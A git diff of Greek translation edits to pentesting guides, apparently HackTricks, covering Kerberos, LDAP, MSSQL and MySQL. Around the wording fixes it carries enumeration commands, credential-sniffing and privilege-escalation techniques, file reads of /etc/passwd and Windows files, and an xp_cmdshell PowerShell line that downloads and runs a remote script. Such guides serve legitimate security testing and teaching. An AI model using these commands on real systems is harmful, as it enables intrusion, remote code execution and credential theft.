**Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. **Default Port:** 88/tcp/udp ``` @@ -25,7 +25,7 @@ PORT STATE SERVICE ### MS14-068 -Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλη την Active Directory δασοκομία. +Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory δάσος. {{#ref}} https://adsecurity.org/?p=541 @@ -46,7 +46,7 @@ Note: | Kerberos operates on a principle where it authenticates users without directly managing their access to resources. This is an important distinction because it underlines the protocol's role in security frameworks. In environments like **Active Directory**, Kerberos is instrumental in establishing the identity of users by validating their secret passwords. This process ensures that each user's identity is confirmed before they interact with network resources. However, Kerberos does not extend its functionality to evaluate or enforce the permissions a user has over specific resources or services. Instead, it provides a secure way of authenticating users, which is a critical first step in the security process. -https://book.hacktricks.xyz/pentesting/pentesting-kerberos-88 +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html Entry_2: Name: Pre-Creds diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 920e9ec46..ba74a29bd 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμοί, άτομα και πόροι όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα. +Η χρήση του **LDAP** (Lightweight Directory Access Protocol) είναι κυρίως για την τοποθέτηση διαφόρων οντοτήτων όπως οργανισμούς, άτομα και πόρους όπως αρχεία και συσκευές εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, DAP, έχοντας μικρότερο αποτύπωμα κώδικα. Οι καταλόγοι LDAP είναι δομημένοι ώστε να επιτρέπουν τη διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια **αντιγραμμένη** και **συγχρονισμένη** έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων ανήκει εξ ολοκλήρου στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλους DSA κατά την ανάγκη για να παραδώσει μια ενιαία απάντηση στον αιτούντα. -Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας με τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές. +Η οργάνωση του καταλόγου LDAP μοιάζει με μια **ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή**. Αυτό διακλαδίζεται σε χώρες, οι οποίες χωρίζονται περαιτέρω σε οργανισμούς, και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διευθύνσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, συμπεριλαμβανομένων τόσο των ανθρώπων όσο και των κοινών πόρων όπως αρχεία και εκτυπωτές. **Προεπιλεγμένη θύρα:** 389 και 636(ldaps). Ο Παγκόσμιος Κατάλογος (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για LDAPS. ``` @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Οι γραμμές 1-3 ορίζουν το τοπικό τομέα -- Οι γραμμές 5-8 ορίζουν τον πρώτο τομέα moneycorp (moneycorp.local) +- Οι γραμμές 1-3 ορίζουν το τοπικό επίπεδο τομέα +- Οι γραμμές 5-8 ορίζουν τον πρώτο επίπεδο τομέα moneycorp (moneycorp.local) - Οι γραμμές 10-16 ορίζουν 2 οργανωτικές μονάδες: dev και sales - Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές ## Γράψτε δεδομένα -Σημειώστε ότι αν μπορείτε να τροποποιήσετε τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**. +Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, θα μπορούσατε να εκτελέσετε πραγματικά ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να **αλλάξετε την πληροφορία "sshPublicKey"** του χρήστη σας ή οποιουδήποτε χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε **το ssh διαβάζει τα δημόσια κλειδιά από το LDAP**. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, **θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα και αν η αυθεντικοποίηση με κωδικό πρόσβασης δεν είναι ενεργοποιημένη στο ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -66,24 +66,24 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ``` ## Sniff clear text credentials -Αν το LDAP χρησιμοποιείται χωρίς SSL, μπορείτε να **sniff credentials σε απλό κείμενο** στο δίκτυο. +If LDAP is used without SSL you can **sniff credentials in plain text** in the network. -Επίσης, μπορείτε να εκτελέσετε μια **MITM** επίθεση στο δίκτυο **μεταξύ του LDAP server και του πελάτη.** Εδώ μπορείτε να κάνετε μια **Downgrade Attack** ώστε ο πελάτης να χρησιμοποιήσει τα **credentials σε απλό κείμενο** για να συνδεθεί. +Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login. -**Αν χρησιμοποιείται SSL** μπορείτε να προσπαθήσετε να κάνετε **MITM** όπως αναφέρθηκε παραπάνω, προσφέροντας ένα **ψευδές πιστοποιητικό**. Αν ο **χρήστης το αποδεχτεί**, μπορείτε να υποβαθμίσετε τη μέθοδο αυθεντικοποίησης και να δείτε ξανά τα credentials. +**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. ## Anonymous Access ### Bypass TLS SNI check -Σύμφωνα με [**αυτή τη γραφή**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), απλά με την πρόσβαση στον LDAP server με ένα αυθαίρετο όνομα τομέα (όπως company.com), κατάφερε να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης: +According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP ανώνυμες συνδέσεις [LDAP ανώνυμες συνδέσεις](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) επιτρέπουν σε **μη αυθεντικοποιημένους επιτιθέμενους** να ανακτούν πληροφορίες από το domain, όπως μια πλήρη λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικών λογαριασμού χρηστών και την πολιτική κωδικών πρόσβασης του domain. Αυτή είναι μια **παλαιά ρύθμιση**, και από το Windows Server 2003, μόνο οι αυθεντικοποιημένοι χρήστες επιτρέπεται να ξεκινούν αιτήματα LDAP.\ -Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέπουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD. +Ωστόσο, οι διαχειριστές μπορεί να χρειάστηκε να **ρυθμίσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις** και να έχουν δώσει περισσότερη πρόσβαση από την προοριζόμενη, δίνοντας έτσι σε μη αυθεντικοποιημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στο AD. ## Έγκυρα Διαπιστευτήρια @@ -100,7 +100,7 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ### Automated -Χρησιμοποιώντας αυτό, θα μπορείτε να δείτε τις **δημόσιες πληροφορίες** (όπως το όνομα τομέα)**:** +Using this you will be able to see the **δημόσιες πληροφορίες** (like the domain name)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -145,7 +145,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **να καταγράψει χρήστες, ομάδες και υπολογιστές από ένα Windows** domain χρησιμοποιώντας LDAP queries. +[**Windapsearch**](https://github.com/ropnop/windapsearch) είναι ένα σενάριο Python χρήσιμο για **καταμέτρηση χρηστών, ομάδων και υπολογιστών από ένα Windows** domain χρησιμοποιώντας LDAP ερωτήσεις. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -160,7 +160,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Ελέγξτε αν οι κωδικοί πρόσβασης είναι κενές ή αν οι κωδικοί σας είναι έγκυροι: +Ελέγξτε αν τα διαπιστευτήρια είναι κενά ή αν τα διαπιστευτήριά σας είναι έγκυρα: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -193,7 +193,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Use ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Εξαγάγετε **τις πληροφορίες μου**: +Ανακτήστε **τις πληροφορίες μου**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` @@ -213,11 +213,11 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Ent ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Εξαγωγή **Remote Desktop Group**: +Αποσπάστε **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Για να δείτε αν έχετε πρόσβαση σε οποιονδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις: +Για να δείτε αν έχετε πρόσβαση σε κάποιον κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε το grep μετά την εκτέλεση ενός από τους ερωτήσεις: ```bash | grep -i -A2 -B2 "userpas" ``` @@ -226,7 +226,7 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Rem #### pbis Μπορείτε να κατεβάσετε το **pbis** από εδώ: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) και συνήθως εγκαθίσταται στο `/opt/pbis`.\ -**Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα: +Το **Pbis** σας επιτρέπει να αποκτάτε βασικές πληροφορίες εύκολα: ```bash #Read keytab file ./klist -k /etc/krb5.keytab @@ -286,7 +286,7 @@ done ### Godap -Το Godap είναι μια διαδραστική διεπαφή χρήστη τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και χαρακτηριστικά σε AD και άλλους LDAP servers. Είναι διαθέσιμο για Windows, Linux και MacOS και υποστηρίζει απλές συνδέσεις, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με πολλές άλλες εξειδικευμένες δυνατότητες όπως αναζήτηση/δημιουργία/αλλαγή/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή κωδικών πρόσβασης, επεξεργασία δικαιωμάτων αντικειμένων (DACLs), τροποποίηση DNS που είναι ενσωματωμένο στο Active Directory (ADIDNS), εξαγωγή σε αρχεία JSON, κ.λπ. +Το Godap είναι μια διαδραστική διεπαφή χρήστη τερματικού για LDAP που μπορεί να χρησιμοποιηθεί για αλληλεπίδραση με αντικείμενα και χαρακτηριστικά σε AD και άλλους LDAP servers. Είναι διαθέσιμο για Windows, Linux και MacOS και υποστηρίζει απλές συνδέσεις, pass-the-hash, pass-the-ticket & pass-the-cert, μαζί με πολλές άλλες εξειδικευμένες δυνατότητες όπως αναζήτηση/δημιουργία/αλλαγή/διαγραφή αντικειμένων, προσθήκη/αφαίρεση χρηστών από ομάδες, αλλαγή κωδικών πρόσβασης, επεξεργασία δικαιωμάτων αντικειμένων (DACLs), τροποποίηση Active-Directory Integrated DNS (ADIDNS), εξαγωγή σε αρχεία JSON, κ.λπ. ![](../images/godap.png) @@ -294,7 +294,7 @@ done ### Ldapx -Το Ldapx είναι ένας ευέλικτος LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει & να μετασχηματίσει την κίνηση LDAP από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να αποκρύψει την κίνηση LDAP για να προσπαθήσει να παρακάμψει τα εργαλεία προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάζονται στην ομιλία [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). +Το Ldapx είναι ένα ευέλικτο LDAP proxy που μπορεί να χρησιμοποιηθεί για να επιθεωρήσει & να μετασχηματίσει την κίνηση LDAP από άλλα εργαλεία. Μπορεί να χρησιμοποιηθεί για να αποκρύψει την κίνηση LDAP για να προσπαθήσει να παρακάμψει τα εργαλεία προστασίας ταυτότητας & παρακολούθησης LDAP και υλοποιεί τις περισσότερες από τις μεθόδους που παρουσιάζονται στην ομιλία [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). ![](../images/ldapx.png) @@ -306,11 +306,11 @@ done ## POST -Εάν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξάγετε τους κατακερματισμούς χρησιμοποιώντας: +Αν μπορείτε να έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο _/var/lib/ldap_). Μπορείτε να εξάγετε τους κατακερματισμούς χρησιμοποιώντας: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Μπορείτε να δώσετε στον john το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε 'structural'). +Μπορείτε να τροφοδοτήσετε τον john με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε 'structural'). ### Αρχεία Ρυθμίσεων @@ -347,7 +347,7 @@ Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. -https://book.hacktricks.xyz/pentesting/pentesting-ldap +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 5b0901dc6..0c55463b8 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου). +> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου). **Default port:** 1433 ``` @@ -158,7 +158,7 @@ SELECT * FROM sysusers 1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε: - **Server** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή. - **Database** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες. -- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ. +- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κ.λπ. 2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα: - **Server Level** χρησιμοποιώντας συνδέσεις - **Database Level** χρησιμοποιώντας χρήστες @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Execute OS Commands > [!CAUTION] -> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: +> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά και να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: > > ```sql > Use master @@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: +> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελέσει αυτές τις λειτουργίες MSSQL με: > > ```sql > Use master; @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Διαβάστε αρχείο με** OPENROWSET -Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: +Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείου **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαιώματα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -321,7 +321,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w ``` ### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)** -MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές. +MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές. Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**: @@ -345,8 +345,8 @@ GO Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Κανονική** | **Ευαισθησία σε Instance** | -| --------------------------- | ------------------------------------ | +| **Κανονικές** | **Ευαισθητοποιημένες σε Instance** | +| ----------------------------- | ------------------------------------ | | sys.xp_regread | sys.xp_instance_regread | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues | | sys.xp_regenumkeys | sys.xp_instance_regenumkeys | @@ -438,7 +438,7 @@ public void Test() ### Από db_owner σε sysadmin -Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**admin**). +Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**διαχειριστής**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -505,9 +505,9 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. -> -> Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να προσποιηθείτε οποιονδήποτε άλλο: +> Αν μπορείτε να μιμηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. + +Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να μιμηθείτε οποιονδήποτε άλλο: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server. +Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν προκειμένου να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server. Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής: @@ -547,7 +547,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Επίλυση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) ## Τοπική Κλιμάκωση Δικαιωμάτων @@ -620,7 +620,7 @@ go xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')" -https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html Entry_2: Name: Nmap for SQL diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 3f8af09fc..b5062ba56 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -116,7 +116,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Παρατηρήστε τη λέξη "local")\ +(Σημειώστε τη λέξη "local")\ Επειδή χωρίς το "local" μπορείτε να αποκτήσετε: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -142,16 +142,16 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= ``` #### Επικίνδυνες Ρυθμίσεις του mysqld.cnf -Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της: +Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της: - Η 